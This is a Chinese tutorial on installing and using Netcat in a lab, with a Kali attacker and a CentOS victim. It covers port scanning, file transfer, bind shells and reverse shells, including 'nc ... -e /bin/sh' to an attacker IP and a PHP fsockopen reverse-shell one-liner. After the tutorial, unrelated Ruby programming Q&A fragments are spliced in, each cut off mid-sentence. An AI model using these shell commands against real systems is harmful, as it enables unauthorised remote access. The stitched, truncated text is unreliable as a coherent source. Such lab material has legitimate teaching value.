Netcat安装与使用
Netcat 是一款简单的Unix工具，使用UDP和TCP协议，被称为网络工具中的"瑞士军*刀"。它是一个可靠的容易被其他程序所启用的后台操作工具，同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。
在Linux中都是自带Netcat的，如果没有，可以使用命令进行安装，安装完可以查看一下版本。
在centos7.X中使用yum install nc按照的不是Netcat，需要注意。
Windows中可以自行搜索安装，官网链接：官网
命令：sudo yum install glibc*
命令：
wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local/netcat-0.7.1
./configure
make && make install
命令：vi /etc/profile
export NETCAT_HOME=/usr/local/netcat-0.7.1
export PATH=$PATH:$NETCAT_HOME/bin
这里可以使用nc -v，当然也可以使用netcat，其实是因为我懒，懒得卸载重新配置。
telnet/获取系统bannet信息、传输文本信息、传输文件和目录、加密传输文件、端口扫描、远程控制、正方向shell等。
Netcat它有许多参数可供使用，以下是一些常用的Netcat参数，可以根据自己的需要选择使用，同时，Netcat还有其他更多的参数，你可以通过查看其官方文档来了解。
| 参数 | 介绍 |
|---|---|
| -h | 查看帮助信息。 |
| -l | 监听模式，等待其他计算机连接。 |
| -p | 指定监听的端口号。 |
| -u | 使用UDP协议。 |
| -v | 输出详细信息，如建立连接时显示IP地址和端口号。 |
| -n | 不使用DNS查找，使用IP地址进行连接。 |
| -z | 将输入/输出功能关闭，进行端口扫描。 |
| -s | 指定本地的IP地址。 |
| -e | 在连接建立后，将标准输入和输出重定向到一个指定的程序或脚本中。 |
| -w | 设置超时时间，等待连接或数据的时间。 |
| -c | 发送指定字节数的数据后关闭连接。 |
| -i | 设置发送数据的时间间隔。 |
| -q | 设置程序退出前的最大延迟时间。 |
| -k | 启用TCP保持活动状态。 |
| -r | 设置随机本地端口号。 |
| -t | 以telnet形式应答。 |
nc常常跟着的参数有两个，一个是n、一个是v。
v参数就是列出执行过程的详细信息，n参数就只接收IP地址，没有dns，之所以使用n参数，是因为使用命令的过程中只去传入IP，减少了nc把域名解析为IP的过程，这样可以节省时间提高效率。
两台主机都需要安装nc，以便后面的操作，nc很小，安装很快。
kali主机：192.168.10.20
centos7主机：192.168.10.30
kali命令：nc -nv 192.168.10.30 22
如果想要单纯的端口扫描的话，使用其它工具比如nmap会更好，而使用nc的主要用途就是在内网获取到权限后，再使用nc对内网进行扫描。nmap无法扫描内网。使用nc更多的是对内网扫描，若初期就需要端口扫描的话，不建议使用nc。
kali命令：nc -v 192.168.10.30
kali命令：nc -vz 192.168.10.30 20-100
监听本地端口，当访问该端口时会输出该信息到命令行，这里我使用一个云服务器来监听。
云服务器命令：nc -lp 8080
首先在kali上开启监听，然后在centos7中发送文件，当发送文件后，kali上监听到后，就可以将文件保存下来。
这里不单单可以发送文件，像压缩包、目录等均可以传输，不过这里需要理解两个重定向符号 <和>，>是将文件进行输出，<是将文件进行输入。
这里设置kali监听，简单来说就是接收文件，并将文件保存到1.txt中。
kali命令：nc -lp 333 > 1.txt
这里设置centos7为发送，将当前目录下的2.txt发送至kail。
centos7命令：nc -vn 192.168.10.20 333 < 2.txt
nc 可以在两台机器之间相互传递信息，首先需要有一台机器进行监听一个端口，另一台以连接的方式去连接其指定的端口，这样两台机器之间建立了通信后，相互之间可以传输信息。
为了区分，kali上输入的是数字，而centos7上输入的字母。
kali命令：nc -lp 333
centos命令：nc -vn 192.168.10.20 333
这里默认kail系统为攻击者、centos7系统为受害者。
正向获取shell就是将centos7连接kali，centos7获取kali的shell权限。简单来说就是受害者获取攻击者的shell。
这里不使用Windows测试，只是将Windows系统的命令使用介绍一下。
kali命令：nc -lvp 4444 -e /bin/sh
Windows命令：nc -lvp 4444 -e c:\windows\system32\cmd.exe
centos7命令：netcat 192.168.10.20 4444
客户端连接服务器，服务器获取客户端的shell。通常用在开启防护措施的目标机，如防火墙过滤、端口转发的等。通常反向shell是最常用的。
kali命令：nc -lvp 4444
centos7命令：netcat 192.168.10.20 4444 -e /bin/sh
Windows命令：nc 192.168.1.1 999 -e c:\windows\system32\cmd.exe
这里其它获取shell，就是通过不同的方式进行shell的反弹。这里可以使用反弹shell命令一键生成官网进行测试。
官网：反弹shell命令一键生成
这里使用官网中配置，选择php即可生成反弹shell。
命令：php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'
这里的攻击者就是kali，按照官网上开启监听。
kali命令：nc -lvnp 7777
这里的受害者就是centos7，按照官网上的生成的命令进行配置，我这里centos7上没有php，所以没成功正常情况下是能够成功的，这里我主要就是演示一下。
centos7命令：php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'
我正在学习如何使用Nokogiri，根据这段代码我遇到了一些问题:require'rubygems'require'mechanize'post_agent=WWW::Mechanize.newpost_page=post_agent.get('http://www.vbulletin.org/forum/showthread.php?t=230708')puts"\nabsolutepathwithtbodygivesnil"putspost_page.parser.xpath('/html/body/div/div/div/div/div/table/tbody/tr/td/div
我有一个Ruby程序，它使用rubyzip压缩XML文件的目录树。gem。我的问题是文件开始变得很重，我想提高压缩级别，因为压缩时间不是问题。我在rubyzipdocumentation中找不到一种为创建的ZIP文件指定压缩级别的方法。有人知道如何更改此设置吗？是否有另一个允许指定压缩级别的Ruby库？ 最佳答案 这是我通过查看rubyzip内部创建的代码。level=Zlib::BEST_COMPRESSIONZip::ZipOutputStream.open(zip_file)do|zip|Dir.glob("**/*")d
类classAprivatedeffooputs:fooendpublicdefbarputs:barendprivatedefzimputs:zimendprotecteddefdibputs:dibendendA的实例a=A.new测试a.foorescueputs:faila.barrescueputs:faila.zimrescueputs:faila.dibrescueputs:faila.gazrescueputs:fail测试输出failbarfailfailfail.发送测试[:foo,:bar,:zim,:dib,:gaz].each{|m|a.send(m)resc
很好奇，就使用rubyonrails自动化单元测试而言，你们正在做什么？您是否创建了一个脚本来在cron中运行rake作业并将结果邮寄给您？git中的预提交Hook？只是手动调用？我完全理解测试，但想知道在错误发生之前捕获错误的最佳实践是什么。让我们理所当然地认为测试本身是完美无缺的，并且可以正常工作。下一步是什么以确保他们在正确的时间将可能有害的结果传达给您？ 最佳答案 不确定您到底想听什么，但是有几个级别的自动代码库控制:在处理某项功能时，您可以使用类似autotest的内容获得关于哪些有效，哪些无效的即时反馈。要确保您的提
假设我做了一个模块如下:m=Module.newdoclassCendend三个问题:除了对m的引用之外，还有什么方法可以访问C和m中的其他内容？我可以在创建匿名模块后为其命名吗(就像我输入“module...”一样)？如何在使用完匿名模块后将其删除，使其定义的常量不再存在？ 最佳答案 三个答案:是的，使用ObjectSpace.此代码使c引用你的类(class)C不引用m:c=nilObjectSpace.each_object{|obj|c=objif(Class===objandobj.name=~/::C$/)}当然这取决于
我正在尝试使用ruby和Savon来使用网络服务。测试服务为http://www.webservicex.net/WS/WSDetails.aspx?WSID=9&CATID=2require'rubygems'require'savon'client=Savon::Client.new"http://www.webservicex.net/stockquote.asmx?WSDL"client.get_quotedo|soap|soap.body={:symbol=>"AAPL"}end返回SOAP异常。检查soap信封，在我看来soap请求没有正确的命名空间。任何人都可以建议我
关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题？更新问题，以便editingthispost可以用事实和引用来回答它.关闭4年前。Improvethisquestion我想在固定时间创建一系列低音和高音调的哔哔声。例如:在150毫秒时发出高音调的蜂鸣声在151毫秒时发出低音调的蜂鸣声200毫秒时发出低音调的蜂鸣声250毫秒的高音调蜂鸣声有没有办法在Ruby或Python中做到这一点？我真的不在乎输出编码是什么(.wav、.mp3、.ogg等等)，但我确实想创建一个输出文件。
我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗？当我运行compasswatch时，它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行？文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们？我自己编译的.sass文件编译成compiled/t
我想将html转换为纯文本。不过，我不想只删除标签，我想智能地保留尽可能多的格式。为插入换行符标签，检测段落并格式化它们等。输入非常简单，通常是格式良好的html(不是整个文档，只是一堆内容，通常没有anchor或图像)。我可以将几个正则表达式放在一起，让我达到80%，但我认为可能有一些现有的解决方案更智能。 最佳答案 首先，不要尝试为此使用正则表达式。很有可能你会想出一个脆弱/脆弱的解决方案，它会随着HTML的变化而崩溃，或者很难管理和维护。您可以使用Nokogiri快速解析HTML并提取文本:require'nokogiri'h
我想为Heroku构建一个Rails3应用程序。他们使用Postgres作为他们的数据库，所以我通过MacPorts安装了postgres9.0。现在我需要一个postgresgem并且共识是出于性能原因你想要pggem。但是我对我得到的错误感到非常困惑当我尝试在rvm下通过geminstall安装pg时。我已经非常明确地指定了所有postgres目录的位置可以找到但仍然无法完成安装:$envARCHFLAGS='-archx86_64'geminstallpg--\--with-pg-config=/opt/local/var/db/postgresql90/defaultdb/po